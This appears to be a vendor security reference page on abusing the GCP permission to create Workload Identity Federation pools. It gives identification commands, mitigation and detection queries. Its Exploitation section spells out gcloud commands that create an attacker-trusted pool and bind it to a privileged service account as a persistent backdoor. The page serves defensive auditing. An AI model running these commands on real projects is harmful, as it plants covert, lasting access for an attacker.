Summary
| Forestall ACL Alias | GCP_CREATE_WIF_POOL |
| GCP Alias | Persistence & Impersonation |
| Affected Object Types | Projects |
| Exploitation Certainty | Certain |
| Granting Roles | roles/iam.workloadIdentityPoolAdmin |
Description
GCP_CREATE_WIF_POOL indicates that an identity can create Workload Identity Federation (WIF) pools and providers in a GCP project. WIF allows external identities (AWS IAM roles, GitHub Actions workflows, Azure managed identities, etc.) to exchange their native credentials for short-lived GCP access tokens that impersonate a service account.
An attacker with this permission can create a WIF pool trusted by an external identity they already control, then bind that pool to a privileged service account (via GCP_SET_SA_IAMPOLICY). This establishes a persistent, hard-to-detect backdoor: the attacker’s external identity can impersonate the SA indefinitely, surviving IAM key rotation and credential revocation.
Key abuse scenarios:
- Create a WIF pool trusting an attacker-controlled AWS IAM role → bind to a privileged SA → persistent SA impersonation from AWS.
- Create a WIF pool trusting an attacker-controlled GitHub repository → any build in that repository can impersonate the SA on every run.
- Establish persistence that survives detection and response cycles — the WIF binding cannot be revoked by rotating GCP credentials alone.
Identification
gcloud CLI
# Find who has workloadIdentityPoolAdmin at project levelPROJECT_ID="my-project"gcloud projects get-iam-policy $PROJECT_ID --format=json | \ jq '.bindings[] | select(.role | test("iam.workloadIdentityPoolAdmin")) | {role: .role, members: .members}'
# List all WIF pools in a projectgcloud iam workload-identity-pools list \ --location=global \ --project=$PROJECT_ID \ --format="table(name, state, displayName)"
# List providers for each pool to understand trusted issuersfor POOL in $(gcloud iam workload-identity-pools list --location=global --project=$PROJECT_ID --format="value(name)"); do POOL_ID=$(basename $POOL) echo "=== Pool: $POOL_ID ===" gcloud iam workload-identity-pools providers list \ --workload-identity-pool=$POOL_ID \ --location=global \ --project=$PROJECT_ID \ --format="table(name, state, oidc.issuerUri, aws.accountId)"doneGCP Console
- Open GCP Console → IAM & Admin → Workload Identity Federation.
- Review all pools — look for recently created pools or pools with unexpected external issuers.
- Check IAM & Admin → IAM for principals with
Workload Identity Pool Admin.
Exploitation
gcloud CLI
PROJECT_ID="target-project"PROJECT_NUMBER=$(gcloud projects describe $PROJECT_ID --format="value(projectNumber)")TARGET_SA="high-priv@${PROJECT_ID}.iam.gserviceaccount.com"
# Step 1: Create a WIF pool trusting an attacker-controlled GitHub repositorygcloud iam workload-identity-pools create attacker-pool \ --location=global \ --project=$PROJECT_ID \ --display-name="Attacker Pool"
gcloud iam workload-identity-pools providers create-oidc attacker-provider \ --workload-identity-pool=attacker-pool \ --location=global \ --project=$PROJECT_ID \ --issuer-uri="https://token.actions.githubusercontent.com" \ --attribute-mapping="google.subject=assertion.sub,attribute.repository=assertion.repository" \ --attribute-condition="attribute.repository == 'attacker-org/attacker-repo'"
# Step 2: Bind the pool to the target SAgcloud iam service-accounts add-iam-policy-binding $TARGET_SA \ --project=$PROJECT_ID \ --role="roles/iam.workloadIdentityUser" \ --member="principalSet://iam.googleapis.com/projects/${PROJECT_NUMBER}/locations/global/workloadIdentityPools/attacker-pool/attribute.repository/attacker-org/attacker-repo"After establishing the binding, the attacker’s GitHub Actions workflow in attacker-org/attacker-repo can impersonate the target SA on every run. See GCP_FEDERATE_IDENTITY for the token exchange steps.
Compound path: GCP_CREATE_WIF_POOL + GCP_SET_SA_IAMPOLICY → create WIF pool trusted by attacker-controlled external identity → bind to privileged SA → GCP_FEDERATE_IDENTITY → persistent SA impersonation.
Mitigation
- Restrict
roles/iam.workloadIdentityPoolAdminto dedicated automation accounts managing WIF configuration; never assign to human users. - Audit WIF pools and providers regularly — any pool trusting an unexpected external issuer should be investigated immediately.
- Use narrow attribute conditions on all providers to restrict which external subjects can federate.
- Alert on WIF pool and provider creation — pool creation should be rare and require change management approval.
Detection
| Log Type | Method | Key Fields |
|---|---|---|
| Admin Activity | CreateWorkloadIdentityPool |
WIF pool creation |
| Admin Activity | CreateWorkloadIdentityPoolProvider |
New provider added to a pool |
| Admin Activity | SetIamPolicy on service account |
workloadIdentityUser binding added |
PROJECT_ID="my-project"gcloud logging read \ 'protoPayload.methodName=~"WorkloadIdentityPool"' \ --project=$PROJECT_ID \ --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.methodName, protoPayload.resourceName)"Alert on:
- Any new WIF pool or provider creation — these should be pre-approved and rare.
- WIF providers trusting external issuers not in the organization’s approved allowlist.
SetIamPolicyon service accounts addingworkloadIdentityUserbindings for newly created pools.